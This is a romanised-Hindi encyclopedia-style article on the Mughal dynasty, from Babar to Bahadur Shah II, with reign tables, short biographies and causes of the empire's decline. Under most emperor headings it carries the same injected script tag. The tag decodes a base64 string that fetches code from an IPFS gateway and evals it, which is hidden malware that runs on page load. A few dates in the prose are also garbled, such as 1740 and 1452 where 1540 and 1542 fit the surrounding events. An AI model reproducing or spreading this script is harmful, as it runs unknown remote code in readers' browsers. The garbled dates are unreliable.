मुग़ल वंश
mugal rajavansh, jise bharat mean babar ne arambh kiya tha, jisane 1526 ee. mean lodi vansh ke antim sultan ibrahim lodi ko panipat ke pratham yuddh mean parajit kiya. is vijay se babar ka dilli aur agara par adhikar ho gaya. 1527 ee. mean babar ne meva d ke shasak rana saanga ko khanua ke yuddh mean parajit kar rajapootoan ke pratirodh ka bhi ant kar diya. antat: 1528 ee. mean usane ghaghara ke yuddh mean afaganoan ko bhi parajit kar apana shasan bangal aur bihar tak vistrit kar liya. in vijayoan ne babar ko uttari bharat ka samrat bana diya. usake dvara prachalit mugal rajavansh ne bharat mean 1526 ee. se 1858 ee. tak rajy kiya. mugal rajavansh mean jo raja hue, unaka vivaran is prakar se hai-
babar
| shasak | shasan kal |
|---|---|
| babar | 1526 - 1530 ee. (4 varsh) |
| humayooan | 1530 - 1540 ee. aur 1555 - 1556 ee. (lagabhag 11 varsh) |
| akabar | 1556 - 1605 ee. (49 varsh) |
| jahaangir | 1605 - 1627 ee. (22 varsh) |
| shahajahaan | 1627 - 1658 ee. (31 varsh) |
| aurangazeb | 1658 - 1707 ee. (49 varsh) |
| bahadurashah pratham | 1707 - 1712 ee. (5 varsh) |
| jahaandarashah | 1712 - 1713 ee. (1 varsh) |
| farrukhasiyar | 1713 - 1719 ee. (6 varsh) |
| rafiuddarajat | faravari 1719 se joon 1719 ee. (4 mahine) |
| rafiuddaula | joon 1719 se sitambar, 1719 ee. (4 mahine) |
| nekasiyar | 1719 ee. (kuchh din) |
| muhammad ibrahim | 1719 ee. (kuchh din) |
| muhammadashah raushan akhtar | 1719 - 1748 ee. (29 varsh) |
| ahamadashah | 1748 - 1754 ee. (6 varsh) |
| alamagir dvitiy | 1754 - 1759 ee. (5 varsh) |
| shahalam dvitiy | 1759 - 1806 ee. (47 varsh) |
| akabar dvitiy | 1806 - 1837 ee. (31 varsh) |
| bahadurashah dvitiy | 1837 - 1858 ee. (21 varsh) |
- REDIRECTsaancha:mukhy<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
14 faravari, 1483 ee. ko faragana mean 'zahiruddin muhammad babar' ka janm hua. babar apane pita ki or se taimoor ka paanchava evan mata ki or se changez khaan (mangol neta) ka chaudahavaan vanshaj tha. usaka parivar turki jati ke 'chagataee vansh' ke antargat ata tha. babar apane pita 'umar shekh mirza' ki mrityu ke bad 11 varsh ki ayu mean shasak bana. usane apana rajyabhishek apani dadi ‘aisan daulat begam’ ke sahayog se karavaya. babar ne apane faragana ke shasan kal mean 1501 ee. mean samarakand par adhikar kiya, jo matr ath mahine tak hi usake qabze mean raha. 1504 ee. mean qabul vijay ke uparaant babar ne apane poorvajoan dvara dharan ki gee upadhi ‘mirza’ ka tyag kar nee upadhi ‘padashah’ dharan ki.
humayooan
- REDIRECTsaancha:mukhy<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
26 disambar, 1530 ee. ko babar ki mrityu ke bad 30 disambar, 1530 ee. ko 23 varsh ki ayu mean humayooan ka rajyabhishek kiya gaya. babar ne apani mrityu se poorv hi humayooan ko gaddi ka uttaradhikari ghoshit kar diya tha. humayooan ko uttaradhikar dene ke sath hi sath babar ne vistrit samrajy ko apane bhaeeyoan mean baantane ka nirdesh bhi diya tha, atah usane asakari ko sambhal, hindal ko mevat tatha kamaran ko panjab ki soobedari pradan ki thi. samrajy ka is tarah se kiya gaya vibhajan humayooan ki bhayankar bhooloan mean se ek tha, jisake karan use anek antarik kathinaiyoan ka samana karana p da aur kalantar mean humayooan ke bhaiyoan ne usaka sath nahian diya. vastav mean avivekapoornadhang se kiya gaya samrajy ka yah vibhajan, kalantar mean humayooan ke lie ghatak siddh hua. yadyapi usake sabase prabal shatru afagan the., kintu bhaiyoan ka asahayog aur humayooan ki kuchh vyaiktik kamazoriyaan usaki asaphalata ka karan siddh hueean.
akabar
- REDIRECTsaancha:mukhy<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
humayooan mushkil se nau varsh hi shasan kar paya tha ki, 26 joon, 1539 ko ganga kinare 'chausa' (shahabad zile) mean use sherakhaan (sherashah) ke hathoan karari har khani p di. chausa apane aitihasik yuddh ke lie aj utana prasiddh nahian hai, jitana apane svadisht amoan ke lie. chausa ki har ke bad kannauj mean humayooan ne phir bhagy-pariksha ki, lekin sherashah ne 17 mee, 1740 ko apane se kee guna adhik sena ko hara diya. humayooan is bar pashchim ki or bhaga. kitane hi samay tak vah rajasthan ke registanoan mean bhatakata raha, par kahian se bhi use koee sahayata prapt nahian huee. isi bhatakate hue jivan mean usaka parichay hamida bano begam se hua. banoo ka pita shekh ali akabar jami mir baba dost humayooan ke chhote bhaee hindal ka guru tha. hamida ki sagaee ho chuki thi, lekin chahe betakht ka hi ho, akhir humayooan badashah tha. siandh mean pat ke mukam par 1541 ee. ke ant ya 1452 ee. ke prarambh mean 14 varsh ki hamida ka vivah humayooan se ho gaya. apane pichhale jivan mean yahi hamida banoo 'mariyam makani' ke nam se prasiddh huee aur apane bete se ek hi sal pahale (29 agast, 1604 ee. mean) mari. us samay kya pata tha ki, humayooan ka bhagy palata khayega aur hamida ki kokh se akabar jaisa ek advitiy putr paida hoga.
jahaangir
- REDIRECTsaancha:mukhy<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
samrat jahaangir ka vyaktitv b da akarshak tha; kiantu usaka charitr buri−bhali adatoan ka adbhut mishran tha. apane bachapan mean kusang ke karan vah anek buraeeyoan ke vashibhoot ho gaya tha. unamean kamukata aur madira−pan vishesh roop se ullekhaniy haian. gaddi par baithate hi usane apani anek buri adatoan ko chho dakar apane ko bahut kuchh sudhar liya tha; kiantu madira−pan ko vah aant samay tak bhi nahian chho d saka tha. atishay mady−sevan ke karan usake charitr ki anek achchhaeeyaan dab gee thian. madira−pan ke sanbandh mean jahaangir ne svayan apane atmacharit mean likha hai−'hamane solah varsh ki ayu se madira pina aranbh kar diya tha. pratidin bis pyala tatha kabhi−kabhi isase bhi adhik pite the. is karan hamari aisi avastha ho gee ki, yadi ek gh di bhi n pite to hath kaanpane lagate tatha baithane ki shakti nahian rah jati thi. hamane niroopay hokar ise kam karana aranbh kar diya aur chhah mahine ke samay mean bis pyale se paanch pyale tak pahuancha diya.
shahajahaan
- REDIRECTsaancha:mukhy<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
shahajahaan ka vivah 20 varsh ki ayu mean noorajahaan ke bhaee asaf khaan ki putri 'arazumand bano' se sanh 1611 mean hua tha. vahi bad mean 'mumataz mahal' ke nam se usaki priyatama begam huee. 20 varsh ki ayu mean hi shahajahaan, jahaangir shasan ka ek shaktishali stanbh samajha jata tha. phir us vivah se usaki shakti aur bhi badh gee thi. noorajahaan, asaf khaan aur unaka pita mirza giyasabeg jo jahaangir shasan ke kartta-dhartta the, shahajahaan ke vishvasaniy samarthak ho gaye the. shahajahaan ke shasan−kal mean mugal samrajy ki samriddhi, shan−shauqat aur khyati charam sima par thi. usake darabar mean desh−videsh ke anek pratishthit vyakti ate the. ve shahajahaan ke vaibhav aur that−bat ko dekh kar chakit rah jate the. usake shasan ka adhikaansh samay sukh−shaanti se bita tha; usake rajy mean khushahali rahi thi. usake shasan ki sab se b di den usake dvara nirmit suandar, vishal aur bhavy bhavan haian. usake rajakosh mean apar dhan tha. samrat shahajahaan ko sab suvidhaean prapt thian.
aurangazeb
- REDIRECTsaancha:mukhy<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
sianhasan par baithane ke uparant aurangazeb ne bijapur ke shasak ali adilashah dvitiy ko 1657 ee. ki sandhi ka palan n karane ke karan dand dene ke lie jayapur ke raja jayasianh ko 1665 ee. mean dakshin bheja. jayasianh ne bijapur ke poorv shivaji ke khilaf mahattvapoorn l daee mean saphalata prapt kar 1665 ee. mean ‘purandar ki sandhi’ ki. purandar ke bad jayasianh ne shivaji ke sahayog se bijapur par navambar, 1665 ee. mean akraman kiya. prarambhik saphalata se utsahit hokar jayasianh ne kee galat nirnay liye, jis karan vah bijapur par adhikar karane mean asaphal raha. aurangazeb ne naraz hokar jayasianh ko 1666 ee. mean vapas ane ka adesh diya. raste mean ‘burahanapur’ ki samip 11 julaee, 1666 ee. ko jayasianh ki mrityu ho gee. disambar, 1672 ee. mean adilashah ki mrityu ke bad usaka alpavayask putr sikandar adilashah bijapur ka samrat bana. usake samay mean bijapur mean do gut-ek khavas khaan ke netritv mean evan doosara bahalol khaan ke netritv mean sakriy tha. donoan gutoan ke antarik matabhedoan ka fayada uthakar mugal soobedar bahadur khaan ne 1676 ee. mean bijapur par akraman kiya, parantu abhiyan asaphal raha. 1679 ee. mean diler khaan ko dakkan ka soobedar bana kar bijapur ko jitane ka adhikar sauanpa gaya.
bahadurashah pratham
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bahadur shah pratham ka janm 14 aktoobar, sanh 1643 ee. mean burahanapur, bharat mean hua tha. bahadur shah pratham dilli ka satavaan mugal badashah (1707-1712 ee.) tha. 'shahazada muajzam' kahalane vale bahadurashah, badashah aurangazeb ke doosare putr the. apane pita ke bhaee aur pratidvandvi shahashuja ke sath b de bhaee ke mil jane ke bad shahazada muajzam hi aurangazeb ke sanbhavi uttaradhikari the. bahadur shah pratham ko 'shahalam pratham' ya 'alamashah pratham' ke nam se bhi jana jata hai. badashah bahadur shah pratham ke char putr the- jahaandarashah, ajimushshan, rafiushshan aur jahanashah.
jahaandarashah
| shasak | maqabara |
|---|---|
| babar | kabul |
| humayooan | dilli |
| akabar | sikandara, agara |
| jahaangir | shahadara, lahaur |
| shahajahaan | agara |
| aurangazeb | daulatabad |
- REDIRECTsaancha:mukhy<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
jahaandarashah ke shasanakal mean prashasan ki poori bagador zulfiqar khaan ke hathoan mean thi. darabar mean apani sthiti mazaboot banane tatha samrajy ko bachane ke lie yah avashyak tha ki, rajapoot rajaoan tatha marathoan ke sath maitripoorn sambandh sthapit kiya jay. isalie jahaandarashah ne rajapootoan ki taraf maitripoorn qadam badhate huye, amer ke jayasianh ko malava ka soobedar niyukt kiya, tatha 'mirja raja' ki padavi di. marava d ke ajit sianh ko 'maharaja'ki padavi di aur gujarat ka shasak niyukt kiya. usane jajiya kar ko bhi samapt kar diya. zulfiqar khaan ne choo daman jat tatha chhatrasal bundela ke sath bhi mel-milap kiya tatha keval banda bahadur ke viruddh daman ki niti ko jari rakha.
farrukhasiyar
- REDIRECTsaancha:mukhy<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
saiyad bandhu abdulla khaan aur husain ali khaan ki madad se farrukhasiyar 11 janavari, 1713 ko mugal rajasianhasan par baitha. farrukhasiyar mugal vansh ke ajimushshan ka putr tha. usane abdulla khaan ko vazir ka pad evan 'kutubulamulk' ki upadhi tatha husain ali khaan ko 'amir-ul-umara' tatha 'mir bakhshi' ka pad diya. sianhasan par baithane ke bad farrukhasiyar ne zulfiqar khaan ki hatya karava di aur sath hi usake pita asad khaan ko qaid kar liya. isake kal mean mugal sena ne 17 disambar, 1715 ko sikkh neta banda sianh ko usake 740 samarthakoan ke sath bandi bana liya.
rafiuddarajat
- REDIRECTsaancha:mukhy<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
rafiuddarajat bahut hi alp samay (28 faravari se 4 joon, 1719 ee.) tak hi shasan kar saka. saiyyad bandhuoan ne farrukhasiyar ke viruddh sh dayantr rachakar 28 aprail, 1719 ko gala ghoant kar usaki hatya kar di. mugal samrajy ke itihas mean kisi amir dvara kisi mugal badashah ki hatya ka yah pahala udaharan tha.
rafiuddaula
rafiuddaula ne 6 joon se 17 sitambar, 1719 ee. tak hi shasan kiya tha. rafiuddarajat ki mrityu ke bad saiyyad bandhuoan ne rafiuddaula ko dilli mean mugal vansh ki gaddi par baithaya. yah gyarahavaan mugal badashah tha. gaddi par baithane ke bad isane 'shahajahaan shani', 'shahajahaan dvitiy' ki upadhiyaan dharan ki thian.
nekasiyar
nekasiyar aurangazeb ka pautr aur akabar dvitiy ka putr tha. vah un paanch kathaputali badashahoan mean se tisara tha, jinhean saiyad bandhuoan ne sianhasanasin kiya tha. saiyad bandhuoan ne use 1719 ee. mean dilli mean mugal gaddi ka adhikari banaya tha. vah keval tho de dinoan ke lie hi badashah ban paya.
muhammad ibrahim
muhammad ibrahim mugal vansh ka 13vaan badashah tha. yah bahadurashah pratham (1707 - 1712 ee.) ke tisare putr rafiushshan ka putr tha. saiyad bandhuoan ne jin char namamatr ke mugal badashahoan ko gaddi par baithaya tha, yah unamean se ek tha. ise bhi kuchh samay bad hi saiyad bandhuoan ne gaddi se utar diya, aur dhokhe se marava diya.
muhammadashah raushan akhtar
- REDIRECTsaancha:mukhy<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
muhammadashah raushan akhtar ne lambe samay 1719 se 1748 ee. tak mugal samrajy par shasan kiya. rafiuddaula ki mrityu ke bad saiyyad bandhuoan ne muhammadashah raushan akhtar ko gaddi par baithaya. vah jahanashah ka chautha beta tha. isake kal mean bangal, bihar tatha u disa mean murshid kuli khaan, avadh mean sadat khaan tatha dakkan mean nijamulamulk ne apani svatantr satta sthapit kar li. isake atirikt isake kal mean ganga tatha doab kshetr mean rohila saradaroan ne bhi apani svatantr satta sthapit kar li thi. muhammadashah ek ayogy shasak tha. vah apana adhikaansh samay pashuoan ki l daee dekhane tatha veshyaoan aur madira ke bich gujarata tha.
ahamadashah
- REDIRECTsaancha:mukhy<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
badashah ahamadashah ne mugal samrajy par 1748 se 1754 ee. tak shasan kiya tha. ahamadashah ka janm ek nartaki ke garbh se hua tha. muhammadashah raushan akhtar ki mrityu ke bad uttaradhikari ke roop mean ahamadashah gaddi par baitha. usane avadh ke soobedar 'safadarajang' ko apana vazir ya pradhanamantri niyukt kiya. rajy ka kamakaj 'hij doan' tatha 'auratoan' ke ek giroh ke hathoan tha, jisaki mukhiya 'rajamata udhamabaee' thian, jo muhammadashah ke sath vivah karane se pahale logoan ke samane nachane-gane vali ek l daki thi.
alamagir dvitiy
- REDIRECTsaancha:mukhy<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
alamagir dvitiy ke shasan kal mean samrajy ki sainik aur vittiy sthiti poornatah ast-vyast ho chuki thi. bhookh se marate sainikoan ke dange aur upadrav alamagir dvitiy ke shasan kal mean din-pratidin ki ghatana thi. vazir gaziuddin ki manamani se bhi alamagir apane ko mukt karana chahata tha. jab usane gaziuddin ke niyantran se apane ko mukt karane ka prayas kiya, to 1759 ee. mean vazir ne usaki bhi hatya karava di. usaki lash ko lal qile ke pichhe yamuna nadi mean pheank diya gaya.
shahalam dvitiy
- REDIRECTsaancha:mukhy<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
shahalam dvitiy ne apane takht ke lie abdali ko sabase zyada khataranak samajha. isalie usane abdali ke panje se bachane ke lie marathoan ko apana sanrakshak bana liya. lekin 1761 ee. mean panipat ki tisari l daee mean abdali ne marathoan ko hara diya. usane shahalam dvitiy ko dilli ke takht par bane rahane diya. yadyapi bad mean usaki ichchha huee ki vah use hatakar svayan dilli ka takht hastagat kar le, tathapi usaki yah yojana poori nahian huee. kintu, abdali ki is viphalata se badashah shahalam dvitiy ko koee labh prapt nahian pahuancha. 1764 ee. mean usane apani shakti badhane ka doosara prayas kiya aur bangal se aangrezoan ko nikal bahar karane ke lie avadh ke navab shujauddaula aur bangal ke bhago de navab mir qasim se sandhi kar li, parantu aangrezoan ne baksar ki l daee (1764 ee.) mean shahi sena ko hara diya aur badashah shahalam dvitiy ne eest iandiya kampani se ilahabad ki sandhi kar li.
akabar dvitiy
kabar dvitiy mugal vansh ka 18vaan badashah tha. vah shahalam dvitiy ka putr tha aur usane 1806-37 ee. tak raj kiya. usake samay tak bharat ka adhikaansh raj aangrezoan ke hathoan mean chala gaya tha aur 1803 ee. mean dilli par bhi unaka qabza ho gaya. badashah shahalam dvitiy (1769-1806 ee.) apane jivan ke antim dinoan mean eest iandiya kampani ki peanshan par jivan yapan karata tha. usaka putr badashah akabar dvitiy eest iandiya kampani ki kripa ke sahare nam matr ka hi badashah tha.
bahadurashah dvitiy
- REDIRECTsaancha:mukhy<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
bahadurashah dvitiy, akabar dvitiy aur lalabaee ke doosare putr the. apane shasanakal ke adhikaansh samay unake pas vastavik satta nahian rahi aur vah aangrezoan par ashrit rahe. 1857 ee. mean svatantrata sangram shuroo hone ke samay bahadurashah dvitiy 82 varsh ke boodhe the, aur svayan nirnay lene ki kshamata ko kho chuke the. vidrohiyoan ne unako azad hindustan ka badashah banaya. is karan aangrez unase kupit ho gaye aur unhoanne unase shatruvath vyavahar kiya. sitambar 1857 ee. mean aangrezoan ne dubara dilli par qabza jama liya aur bahadurashah dvitiy ko giraftar karake un par muqadama chalaya gaya tatha unhean rangoon (ab yaangoon) nirvasit kar diya gaya.
mugal samrajy ke patan ke karan
mugal samrajy, jisane apani visheshataoan se sampoorn madhyayugin bharat ko prabhavit kiya, usaka patan n to achanak hua aur n hi kisi ek karak ne isake patan mean apani bhoomika nibhayi. mugal samrajy ke patan ke lie zimmedar mahattvapoorn karan is prakar haian-
- mugal samrajy ka patan aurangazeb ke vyaktitv evan kary nitiyoan ke karan hua. isake antargat usaki dharmik niti, dakkan niti evan rajapoot niti ka mahattvapoorn yogadan hai.
- ayogy uttaradhikariyoan ne bhi mugaloan ke patan mean mahattvapoorn bhoomika ka nirvah kiya. isaki mahattvapoorn k di mean bahadurashah pratham, jahaandarashah se lekar bahadurashah zafar tak shamil haian.
- mugalakalin kulin varg apani yogyataoan ke abhav ke karan ek b de samrajy par se apana prabhav khota ja raha tha. inaki yuddh ke prati ghrina v raja ko galat salah, nirantar chapaloosi se grast rahana adi karakoan ne usake patan mean bhoomika nibhayi.
- darabar mean vyapt gutabandi ne bhi mugal shasan ke patan mean bhoomika nibhayi. saiyad bandhu, zulfiqar khaan v nizamulamulk, gaziuddin firoz jang jaise log patan ke mahattvapoorn abhineta ke roop mean samane aye.
- mugal kal ke dauran uttaradhikar ka koee nishchit niyam nahian tha. aurangazeb ki mrityu ke bad to yah lagabhag vismriti ke gart mean chala gaya. 1748 - 1749 ee. ke bich nirmamatapoorvak ek hi varsh mean qarib 4 badashahoan ka katl kar diya gaya.
- dakkan ke shivaji ka jananayak ke roop mean ubharana bhi mugal samrajy ke patan ka ek karan bana.
- mugal samrajy mean mahattvapoorn bhoomika ke nirvah ke bad bhi manasabadari vyavastha doshamukt n rahi. mugal samrajy ke patan mean isaka bhi yogadan raha.
- aurangazeb ki dakkan niti ki asaphalata ke karan hue nirantar yuddhoan ne mugal samrajy ko antarik roop se khokhala kar diya. arthik kamazori bhi patan ka ek karan thi.
- nadirashah evan ahamadashah abdali ke akramanoan ne to jaise mugal samrajy ke taboot mean aantim kil thokane ka kary kiya.
- mugal samrajy ki vishalata ke sath hi aurangazeb ke bad kushal shasakoan ka abhav bhi patan ka ek karan bana.
- mugal kal ke dauran yooropiy kampaniyoan jaise aangrez, den, dach, phraansisi adi ka pravesh bharat mean ho chuka tha. antatah aangrejoan ne bharat mean sarvochchata sthapit karate hue mugal samrat ko antim roop se bharat se bahar khade d diya.
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sanbandhit lekh
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